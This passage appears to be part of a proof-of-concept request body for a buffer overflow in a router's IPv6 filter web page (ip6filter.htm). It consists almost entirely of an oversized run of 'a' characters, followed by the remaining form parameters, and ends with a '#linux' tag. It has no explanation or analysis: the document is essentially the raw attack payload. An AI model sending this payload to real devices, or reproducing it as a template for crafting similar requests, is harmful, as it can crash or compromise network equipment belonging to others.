aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&fromPort=&toPort=&protocol=0&comment=&addFilterIp=%E5%BA%94%E7%94%A8&submit-url=%2Fip6filter.htm

Tag

#linux